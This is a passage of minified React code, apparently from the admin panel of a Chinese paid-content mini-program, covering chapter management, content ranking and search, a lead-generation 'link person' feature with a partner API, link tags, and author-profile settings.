h-4 mr-2"}),"付款记录"]}),s.jsxs(te,{variant:"outline",onClick:()=>c(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsx(te,{onClick:Nn,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存修改"]})})]})]})}),s.jsxs(yd,{defaultValue:"chapters",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"chapters",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Br,{className:"w-4 h-4 mr-2"}),"章节管理"]}),s.jsxs(Zt,{value:"ranking",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Dg,{className:"w-4 h-4 mr-2"}),"内容排行榜"]}),s.jsxs(Zt,{value:"search",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(Na,{className:"w-4 h-4 mr-2"}),"内容搜索"]}),s.jsxs(Zt,{value:"link-person",className:"data-[state=active]:bg-purple-500/20 data-[state=active]:text-purple-400 text-gray-400",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"链接人与事"]}),s.jsxs(Zt,{value:"link-tag",className:"data-[state=active]:bg-amber-500/20 data-[state=active]:text-amber-400 text-gray-400",children:[s.jsx(Bv,{className:"w-4 h-4 mr-2"}),"链接标签"]}),s.jsxs(Zt,{value:"linkedmp",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"关联小程序"]})]}),s.jsxs(en,{value:"chapters",className:"space-y-4",children:[s.jsxs("div",{className:"rounded-2xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between shadow-sm",children:[s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac] flex items-center justify-center text-white shadow-lg shadow-[#38bdac]/20 shrink-0",children:s.jsx(Br,{className:"w-6 h-6"})}),s.jsxs("div",{children:[s.jsx("h2",{className:"font-bold text-base text-white leading-tight mb-1",children:"一场SOUL的创业实验场"}),s.jsx("p",{className:"text-xs text-gray-500",children:"来自Soul派对房的真实商业故事"})]})]}),s.jsxs("div",{className:"text-center shrink-0",children:[s.jsx("span",{className:"block text-2xl font-bold text-[#38bdac]",children:us}),s.jsx("span",{className:"text-xs text-gray-500",children:"章节"})]})]}),s.jsxs("div",{className:"flex flex-wrap gap-2",children:[s.jsxs(te,{onClick:()=>h(!0),className:"flex-1 min-w-[120px] bg-[#38bdac]/10 hover:bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建章节"]}),s.jsxs(te,{onClick:()=>Z(!0),className:"flex-1 min-w-[120px] bg-amber-500/10 hover:bg-amber-500/20 text-amber-400 border border-amber-500/30",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新建篇"]}),s.jsxs(te,{variant:"outline",onClick:()=>q(!0),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:["批量移动(已选 ",H.length," 节)"]})]}),n?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(aV,{parts:Dn,expandedParts:a,onTogglePart:ea,onReorder:Rr,onReadSection:Ge,onDeleteSection:Pi,onAddSectionInPart:Po,onAddChapterInPart:ps,onDeleteChapter:Wl,onEditPart:Qt,onDeletePart:zi,onEditChapter:Os,selectedSectionIds:H,onToggleSectionSelect:Ul,onShowSectionOrders:Ve,pinnedSectionIds:Je})]}),s.jsx(en,{value:"search",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"内容搜索"})}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500 flex-1",placeholder:"搜索标题或内容...",value:N,onChange:M=>w(M.target.value),onKeyDown:M=>M.key==="Enter"&&kd()}),s.jsx(te,{onClick:kd,disabled:C||!N.trim(),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:C?s.jsx(qe,{className:"w-4 h-4 animate-spin"}):s.jsx(Na,{className:"w-4 h-4"})})]}),v.length>0&&s.jsxs("div",{className:"space-y-2 mt-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["找到 ",v.length," 个结果"]}),v.map(M=>s.jsxs("div",{className:"p-3 rounded-lg bg-[#162840] hover:bg-[#1a3050] cursor-pointer transition-colors",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price??1,filePath:""}),children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs",children:M.id}),s.jsx("span",{className:"text-white",children:M.title}),Je.includes(M.id)&&s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})]}),s.jsx(We,{variant:"outline",className:"text-gray-400 border-gray-600 text-xs",children:M.matchType==="title"?"标题匹配":"内容匹配"})]}),M.snippet&&s.jsx("p",{className:"text-gray-500 text-xs mt-2 line-clamp-2",children:M.snippet}),(M.partTitle||M.chapterTitle)&&s.jsxs("p",{className:"text-gray-600 text-xs mt-1",children:[M.partTitle," · ",M.chapterTitle]})]},M.id))]})]})]})}),s.jsxs(en,{value:"ranking",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-[#38bdac]"}),"内容显示规则"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4 flex-wrap",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(X,{className:"text-gray-400 text-sm whitespace-nowrap",children:"未付费预览比例"}),s.jsx(se,{type:"number",min:"1",max:"100",className:"bg-[#0a1628] border-gray-700 text-white w-20",value:gt,onChange:M=>Rt(Math.max(1,Math.min(100,Number(M.target.value)||20))),disabled:gn}),s.jsx("span",{className:"text-gray-500 text-sm",children:"%"})]}),s.jsx(te,{size:"sm",onClick:Pe,disabled:wr,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:wr?"保存中...":"保存"}),s.jsxs("span",{className:"text-xs text-gray-500",children:["小程序未付费用户默认显示文章前 ",gt,"% 内容"]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{className:"pb-3",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Dg,{className:"w-4 h-4 text-amber-400"}),"内容排行榜",s.jsxs("span",{className:"text-xs text-gray-500 font-normal ml-2",children:["按热度排行 · 共 ",Pn.length," 节"]})]}),s.jsxs("div",{className:"flex items-center gap-1 text-sm",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Kr(),disabled:K,className:"text-gray-400 hover:text-white h-7 w-7 p-0",title:"刷新排行榜",children:s.jsx(qe,{className:`w-4 h-4 ${K?"animate-spin":""}`})}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn<=1||K,onClick:()=>pr(M=>Math.max(1,M-1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(JT,{className:"w-4 h-4"})}),s.jsxs("span",{className:"text-gray-400 min-w-[60px] text-center",children:[Rn," / ",Rs]}),s.jsx(te,{variant:"ghost",size:"sm",disabled:Rn>=Rs||K,onClick:()=>pr(M=>Math.min(Rs,M+1)),className:"text-gray-400 hover:text-white h-7 w-7 p-0",children:s.jsx(pl,{className:"w-4 h-4"})})]})]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"space-y-0",children:[s.jsxs("div",{className:"grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2 text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("span",{children:"排名"}),s.jsx("span",{children:"置顶"}),s.jsx("span",{children:"标题"}),s.jsx("span",{className:"text-right",children:"点击量"}),s.jsx("span",{className:"text-right",children:"付款数"}),s.jsx("span",{className:"text-right",children:"热度"}),s.jsx("span",{className:"text-right",children:"编辑"})]}),Ma.map((M,Q)=>{const me=(Rn-1)*hs+Q+1,Ne=M.isPinned??Je.includes(M.id);return s.jsxs("div",{className:`grid grid-cols-[40px_40px_1fr_80px_80px_80px_60px] gap-2 px-3 py-2.5 items-center border-b border-gray-700/30 hover:bg-[#162840] transition-colors ${Ne?"bg-amber-500/5":""}`,children:[s.jsx("span",{className:`text-sm font-bold ${me<=3?"text-amber-400":"text-gray-500"}`,children:me<=3?["🥇","🥈","🥉"][me-1]:`#${me}`}),s.jsx(te,{variant:"ghost",size:"sm",className:`h-6 w-6 p-0 ${Ne?"text-amber-400":"text-gray-600 hover:text-amber-400"}`,onClick:()=>Pa(M.id),disabled:ct,title:Ne?"取消置顶":"强制置顶(精选推荐/首页最新更新)",children:Ne?s.jsx(gl,{className:"w-3.5 h-3.5 fill-current"}):s.jsx(xA,{className:"w-3.5 h-3.5"})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("span",{className:"text-white text-sm truncate block",children:M.title}),s.jsxs("span",{className:"text-gray-600 text-xs",children:[M.partTitle," · ",M.chapterTitle]})]}),s.jsx("span",{className:"text-right text-sm text-blue-400 font-mono",children:M.clickCount??0}),s.jsx("span",{className:"text-right text-sm text-green-400 font-mono",children:M.payCount??0}),s.jsx("span",{className:"text-right text-sm text-amber-400 font-mono",children:(M.hotScore??0).toFixed(1)}),s.jsx("div",{className:"text-right",children:s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-500 hover:text-[#38bdac] h-6 px-1",onClick:()=>Ge({id:M.id,mid:M.mid,title:M.title,price:M.price,filePath:""}),title:"编辑文章",children:s.jsx(Wt,{className:"w-3 h-3"})})})]},M.id)}),Ma.length===0&&s.jsx("div",{className:"py-8 text-center text-gray-500",children:"暂无数据"})]})})]})]}),s.jsxs(en,{value:"link-person",className:"space-y-4",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx("span",{className:"text-[#38bdac] text-lg font-bold",children:"@"}),"AI列表 — 链接人与事(编辑器内输入 @ 可链接)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"添加时自动生成 32 位 token,文章 @ 时存 token;小程序点击 @ 时用 token 兑换真实密钥后加好友"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("p",{className:"text-xs text-gray-500",children:"添加人物时同步创建存客宝场景获客计划,配置与存客宝 API 获客一致"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>qr(),title:"刷新",children:s.jsx(qe,{className:"w-4 h-4"})}),s.jsxs(te,{size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",onClick:()=>{Xs(null),On(!0)},children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加"]})]})]}),s.jsx("div",{className:"max-h-[400px] overflow-y-auto",children:Wr.length>0?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"text-xs text-gray-500 border-b border-gray-700/50",children:[s.jsx("th",{className:"text-left py-1.5 px-3 w-[280px] font-normal",children:"token"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-24 font-normal",children:"@的人"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"获客计划活动名"}),s.jsx("th",{className:"text-left py-1.5 px-3 w-20 font-normal",children:"planId"}),s.jsx("th",{className:"text-left py-1.5 px-3 font-normal",children:"apiKey"}),s.jsx("th",{className:"text-left py-1.5 px-2 w-24 font-normal",children:"操作"})]})}),s.jsx("tbody",{children:Wr.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/30 hover:bg-[#0a1628]/80",children:[s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"32位token",children:M.id}),s.jsx("td",{className:"py-2 px-3 text-amber-400 truncate max-w-[96px]",title:"@的人",children:M.name}),s.jsxs("td",{className:"py-2 px-3 text-white truncate max-w-[200px]",title:"获客计划活动名",children:["SOUL链接人与事-",M.name]}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono",title:"存客宝计划ID",children:M.ckbPlanId??"-"}),s.jsx("td",{className:"py-2 px-3 text-gray-400 text-xs font-mono whitespace-nowrap",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[M.ckbApiKey?s.jsx(te,{variant:"ghost",size:"sm",className:"h-6 w-6 p-0 text-gray-500 hover:text-[#38bdac] shrink-0",title:"复制 apiKey",onClick:async()=>{await navigator.clipboard.writeText(M.ckbApiKey??""),ie.success("已复制到剪贴板")},children:s.jsx(Bx,{className:"w-3.5 h-3.5"})}):null,s.jsx("span",{title:M.ckbApiKey??"",children:M.ckbApiKey??"-"})]})}),s.jsx("td",{className:"py-2 px-2",children:s.jsxs("div",{className:"flex items-center gap-0",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-[#38bdac] h-6 px-2",title:"编辑",onClick:async()=>{try{const Q=await oV(M.personId||"");if(Q!=null&&Q.success&&Q.person){const me=Q.person;Xs({id:me.token??me.personId,personId:me.personId,name:me.name,label:me.label??"",ckbApiKey:me.ckbApiKey??"",remarkType:me.remarkType,remarkFormat:me.remarkFormat,addFriendInterval:me.addFriendInterval,startTime:me.startTime,endTime:me.endTime,deviceGroups:me.deviceGroups})}else Xs(M),Q!=null&&Q.error&&ie.error(Q.error)}catch(Q){console.error(Q),Xs(M),ie.error(Q instanceof Error?Q.message:"加载人物详情失败")}On(!0)},children:s.jsx(nj,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-400 hover:text-amber-400 h-6 px-2",title:"编辑计划(跳转存客宝)",onClick:()=>{const Q=M.ckbPlanId;Q?window.open(`https://h5.ckb.quwanzhi.com/#/scenarios/edit/${Q}`,"_blank"):ie.info("该人物尚未同步存客宝计划,请先保存后等待同步完成")},children:s.jsx(Us,{className:"w-3 h-3"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",title:"删除(同时删除存客宝对应获客计划)",onClick:()=>Zs(M),children:s.jsx(ir,{className:"w-3 h-3"})})]})})]},M.id))})]}):s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无AI人物,添加后可在编辑器中 @链接"})})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Cu,{className:"w-4 h-4 text-green-400"}),"存客宝绑定"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"配置存客宝 API 后,文章中 @人物 或 #标签 点击可自动进入存客宝流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝 API 地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"https://ckbapi.quwanzhi.com",defaultValue:"https://ckbapi.quwanzhi.com",readOnly:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"绑定计划"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8",placeholder:"创业实验-内容引流",defaultValue:"创业实验-内容引流",readOnly:!0})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["具体存客宝场景配置与接口测试请前往"," ",s.jsx("button",{className:"text-[#38bdac] hover:underline",onClick:()=>window.open("/match","_blank"),children:"找伙伴 → 存客宝工作台"})]})]})]})]}),s.jsx(en,{value:"link-tag",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"pb-3",children:[s.jsxs(Qe,{className:"text-white text-base flex items-center gap-2",children:[s.jsx(Bv,{className:"w-4 h-4 text-amber-400"}),"链接标签 — 链接事与物(编辑器内 #标签 可跳转链接/小程序/存客宝)"]}),s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:"小程序端点击 #标签 可直接跳转对应链接,进入流量池"})]}),s.jsxs(Ee,{className:"space-y-3",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap justify-between",children:[s.jsxs("div",{className:"flex gap-2 items-end flex-wrap",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",placeholder:"如 team01",value:ft.tagId,onChange:M=>xn({...ft,tagId:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"显示文字"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-28",placeholder:"如 神仙团队",value:ft.label,onChange:M=>xn({...ft,label:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"类型"}),s.jsxs(hl,{value:ft.type,onValueChange:M=>xn({...ft,type:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-24",children:s.jsx(fl,{})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"url",children:"网页链接"}),s.jsx(_r,{value:"miniprogram",children:"小程序"}),s.jsx(_r,{value:"ckb",children:"存客宝"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:ft.type==="url"?"URL地址":ft.type==="ckb"?"存客宝计划URL":"小程序(选密钥)"}),ft.type==="miniprogram"&&Ra.length>0?s.jsxs("div",{ref:Di,className:"relative w-44",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:"搜索名称或密钥",value:Oi?ta:ft.appId,onChange:M=>{const Q=M.target.value;Ot(Q),fs(!0),Ra.some(me=>me.key===Q)||xn({...ft,appId:Q})},onFocus:()=>{Ot(ft.appId),fs(!0)},onBlur:()=>setTimeout(()=>fs(!1),150)}),Oi&&s.jsx("div",{className:"absolute top-full left-0 right-0 mt-1 max-h-48 overflow-y-auto rounded-md border border-gray-700 bg-[#0a1628] shadow-lg z-50",children:Li.length===0?s.jsx("div",{className:"px-3 py-2 text-gray-500 text-xs",children:"无匹配,可手动输入密钥"}):Li.map(M=>s.jsxs("button",{type:"button",className:"w-full px-3 py-2 text-left text-sm text-white hover:bg-[#38bdac]/20 flex flex-col gap-0.5",onMouseDown:Q=>{Q.preventDefault(),xn({...ft,appId:M.key,pagePath:M.path||""}),Ot(""),fs(!1)},children:[s.jsx("span",{children:M.name}),s.jsx("span",{className:"text-xs text-gray-400 font-mono",children:M.key})]},M.key))})]}):s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-44",placeholder:ft.type==="url"?"https://...":ft.type==="ckb"?"https://ckbapi.quwanzhi.com/...":"关联小程序的32位密钥",value:ft.type==="url"||ft.type==="ckb"?ft.url:ft.appId,onChange:M=>{ft.type==="url"||ft.type==="ckb"?xn({...ft,url:M.target.value}):xn({...ft,appId:M.target.value})}})]}),ft.type==="miniprogram"&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"页面路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 w-36",placeholder:"pages/index/index",value:ft.pagePath,onChange:M=>xn({...ft,pagePath:M.target.value})})]}),s.jsxs(te,{size:"sm",className:"bg-amber-500 hover:bg-amber-600 text-white h-8",onClick:async()=>{if(!ft.tagId||!ft.label){ie.error("标签ID和显示文字必填");return}const M={...ft};M.type==="miniprogram"&&(M.url=""),await vt("/api/db/link-tags",M),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),Ir(null),Gr()},children:[s.jsx(hn,{className:"w-3 h-3 mr-1"}),Ur?"保存":"添加"]})]}),s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50 h-8",onClick:()=>Gr(),title:"刷新",children:s.jsx(qe,{className:"w-4 h-4"})})]}),s.jsxs("div",{className:"space-y-1 max-h-[400px] overflow-y-auto",children:[pe.map(M=>s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded px-3 py-2",children:[s.jsxs("div",{className:"flex items-center gap-3 text-sm",children:[s.jsxs("button",{type:"button",className:"text-amber-400 font-bold text-base hover:underline",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:["#",M.label]}),s.jsx(We,{variant:"secondary",className:`text-[10px] ${M.type==="ckb"?"bg-green-500/20 text-green-300 border-green-500/30":"bg-gray-700 text-gray-300"}`,children:M.type==="url"?"网页":M.type==="ckb"?"存客宝":"小程序"}),M.type==="miniprogram"?s.jsxs("span",{className:"text-gray-400 text-xs font-mono",children:[M.appId," ",M.pagePath?`· ${M.pagePath}`:""]}):M.url?s.jsxs("a",{href:M.url,target:"_blank",rel:"noreferrer",className:"text-blue-400 text-xs truncate max-w-[250px] hover:underline flex items-center gap-1",children:[M.url," ",s.jsx(Us,{className:"w-3 h-3 shrink-0"})]}):null]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-gray-300 hover:text-white h-6 px-2",onClick:()=>{xn({tagId:M.id,label:M.label,url:M.url,type:M.type,appId:M.appId??"",pagePath:M.pagePath??""}),Ir(M.id)},children:"编辑"}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 h-6 px-2",onClick:async()=>{await Bs(`/api/db/link-tags?tagId=${M.id}`),Ur===M.id&&(Ir(null),xn({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""})),Gr()},children:s.jsx(ir,{className:"w-3 h-3"})})]})]},M.id)),pe.length===0&&s.jsx("div",{className:"text-gray-500 text-sm py-4 text-center",children:"暂无链接标签,添加后可在编辑器中使用 #标签 跳转"})]})]})]})}),s.jsx(en,{value:"linkedmp",className:"space-y-4",children:s.jsx(rV,{})})]}),s.jsx(lV,{open:Pt,onOpenChange:On,editingPerson:Qs,onSubmit:async M=>{var Ne;const Q={personId:M.personId||M.name.toLowerCase().replace(/\s+/g,"_")+"_"+Date.now().toString(36),name:M.name,label:M.label,ckbApiKey:M.ckbApiKey||void 0,greeting:M.greeting||void 0,tips:M.tips||void 0,remarkType:M.remarkType||void 0,remarkFormat:M.remarkFormat||void 0,addFriendInterval:M.addFriendInterval,startTime:M.startTime||void 0,endTime:M.endTime||void 0,deviceGroups:(Ne=M.deviceGroups)!=null&&Ne.trim()?M.deviceGroups.split(",").map(st=>parseInt(st.trim(),10)).filter(st=>!Number.isNaN(st)):void 0},me=await vt("/api/db/persons",Q);if(me&&me.success===!1){const st=me;st.ckbResponse&&console.log("存客宝返回",st.ckbResponse);const mt=st.error||"操作失败";throw new Error(mt)}if(qr(),ie.success(Qs?"已保存":"已添加"),me!=null&&me.ckbCreateResult&&Object.keys(me.ckbCreateResult).length>0){const st=me.ckbCreateResult;console.log("存客宝创建结果",st);const mt=st.planId??st.id,Bt=mt!=null?[`planId: ${mt}`]:[];st.apiKey!=null&&Bt.push("apiKey: ***"),ie.info(Bt.length?`存客宝创建结果:${Bt.join(",")}`:"存客宝创建结果见控制台")}}}),s.jsx(Dt,{open:!!Wn,onOpenChange:M=>{M||Zs(null)},children:s.jsxs(At,{showCloseButton:!0,className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-white text-base",children:"确认删除"}),s.jsx(yf,{className:"text-gray-400 text-sm leading-relaxed break-words",children:Wn&&s.jsxs(s.Fragment,{children:[s.jsxs("p",{children:["确定删除「SOUL链接人与事-",Wn.name,"」?将同时删除存客宝对应获客计划。"]}),s.jsxs("p",{className:"mt-1.5",children:["二次确认:删除后无法恢复,文章中的 @",Wn.name," 将无法正常跳转。"]})]})})]}),s.jsxs(on,{className:"gap-2 sm:gap-2 pt-1",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-300",onClick:()=>Zs(null),children:"取消"}),s.jsx(te,{variant:"destructive",size:"sm",className:"bg-red-600 hover:bg-red-700",onClick:async()=>{Wn&&(await Bs(`/api/db/persons?personId=${Wn.personId}`),Zs(null),qr(),ie.success("已删除"))},children:"确定删除"})]})]})})]})}const ba={name:"卡若",avatar:"K",avatarImg:"",title:"Soul派对房主理人 · 私域运营专家",bio:'每天早上6点到9点,在Soul派对房分享真实的创业故事。专注私域运营与项目变现,用"云阿米巴"模式帮助创业者构建可持续的商业体系。',stats:[{label:"商业案例",value:"62"},{label:"连续直播",value:"365天"},{label:"派对分享",value:"1000+"}],highlights:["5年私域运营经验","帮助100+品牌从0到1增长","连续创业者,擅长商业模式设计"]};function vw(t){return Array.isArray(t)?t.map(e=>e&&typeof e=="object"&&"label"in e&&"value"in e?{label:String(e.label),value:String(e.value)}:{label:"",value:""}).filter(e=>e.label||e.value):ba.stats}function Nw(t){return Array.isArray(t)?t.map(e=>typeof e=="string"?e:String(e??"")).filter(Boolean):ba.highlights}function uV(){const[t,e]=b.useState(ba),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),u=b.useRef(null);b.useEffect(()=>{De("/api/admin/author-settings").then(k=>{const C=k==null?void 0:k.data;C&&typeof C=="object"&&e({name:String(C.name??ba.name),avatar:String(C.avatar??ba.avatar),avatarImg:String(C.avatarImg??""),title:String(C.title??ba.title),bio:String(C.bio??ba.bio),stats:vw(C.stats).length?vw(C.stats):ba.stats,highlights:Nw(C.highlights).length?Nw(C.highlights):ba.highlights})}).catch(console.error).finally(()=>r(!1))},[]);const h=async()=>{i(!0);try{const k={name:t.name,avatar:t.avatar||"K",avatarImg:t.avatarImg,title:t.title,bio:t.bio,stats:t.stats.filter(T=>T.label||T.value),highlights:t.highlights.filter(Boolean)},C=await vt("/api/admin/author-settings",k);if(!C||C.success===!1){ie.error("保存失败: "+(C&&typeof C=="object"&&"error"in C?C.error:""));return}i(!1);const E=document.createElement("div");E.className="fixed top-4 right-4 z-50 px-4 py-2 rounded-lg bg-[#38bdac] text-white text-sm shadow-lg",E.textContent="作者设置已保存",document.body.appendChild(E),setTimeout(()=>E.remove(),2e3)}catch(k){console.error(k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{i(!1)}},f=async k=>{var E;const C=(E=k.target.files)==null?void 0:E[0];if(C){c(!0);try{const T=new FormData;T.append("file",C),T.append("folder","avatars");const I=pf(),O={};I&&(O.Authorization=`Bearer ${I}`);const R=await(await fetch(go("/api/upload"),{method:"POST",body:T,credentials:"include",headers:O})).json();R!=null&&R.success&&(R!=null&&R.url)?e(D=>({...D,avatarImg:R.url})):ie.error("上传失败: "+((R==null?void 0:R.error)||"未知错误"))}catch(T){console.error(T),ie.error("上传失败")}finally{c(!1),u.current&&(u.current.value="")}}},m=()=>e(k=>({...k,stats:[...k.stats,{label:"",value:""}]})),g=k=>e(C=>({...C,stats:C.stats.filter((E,T)=>T!==k)})),y=(k,C,E)=>e(T=>({...T,stats:T.stats.map((I,O)=>O===k?{...I,[C]:E}:I)})),N=()=>e(k=>({...k,highlights:[...k.highlights,""]})),w=k=>e(C=>({...C,highlights:C.highlights.filter((E,T)=>T!==k)})),v=(k,C)=>e(E=>({...E,highlights:E.highlights.map((T,I)=>I===k?C:T)}));return n?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"作者详情"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置小程序「关于作者」页展示的作者信息,包括头像、简介、统计数据与亮点标签。"})]}),s.jsxs(te,{onClick:h,disabled:a||n,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 